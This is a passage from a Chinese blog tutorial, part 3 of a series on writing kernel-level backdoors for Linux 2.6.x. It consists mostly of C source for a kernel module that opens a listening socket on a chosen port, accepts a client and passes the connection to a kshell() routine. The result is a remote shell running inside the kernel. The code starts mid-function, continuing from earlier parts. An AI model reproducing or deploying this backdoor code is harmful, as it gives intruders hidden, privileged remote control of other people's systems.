抒写Linux 2.6.x下内核级后门程序(3)
printk("[-] sock_map_fd() failed.\n");
sock_release(sock);
return -1;
}
for (i = 0; i < 8; i++)
server.sin_zero[i] = 0;
server.sin_family = PF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(port);
error = security_socket_bind(sock,(struct sockaddr *)&server,len);
if (!error) {
error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
if (error < 0) {
printk("[-] unix_bind() failed.\n");
sock_release(sock);
return -1;
}
}
error = sock->ops->listen(sock,5);
if (error < 0) {
printk("[-] unix_listen failed.\n");
sock_release(sock);
return -1;
}
printk("[+] listen port %d ok.\n",port);
if (!(newsock = sock_alloc())) {
printk("[-] sock_alloc() failed.\n");
sock_release(sock);
return -1;
}
newsock->type = sock->type;
newsock->ops = sock->ops;
printk("[+] waiting for a client.\n");
if (newsock->ops->accept) {
error = security_socket_accept(sock,newsock);
if (error < 0)
goto out_release;
if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
printk("[-] accept got a signal.\n");
goto out_release;
}
else if (error < 0) {
printk("[-] unix_accept failed.\n");
goto out_release;
}
if (newsock->ops->getname(newsock,client,&len,1) < 0)
goto out_release;
security_socket_post_accept(sock,newsock);
sockid = sock_map_fd(newsock);
if (sockid < 0) {
printk("[-] sock_map_fd() failed.\n");
sock_release(newsock);
return -1;
}
printk("[+] accept a client.\n");
kshell(sockid);
}
return 1;
out_release:
sock_release(sock);
sock_release(newsock);
return 0;
}
int k_socket_init(void)
{
printk("[+] kernel socket test start.\n");
k_listen();
}
void k_socket_exit(void)
{
printk("[+] kernel socket test over.\n");
}
module_init(k_socket_init);
module_exit(k_socket_exit);
顶(0)
踩(0)
下一篇:linux中mac绑定
- 最新评论
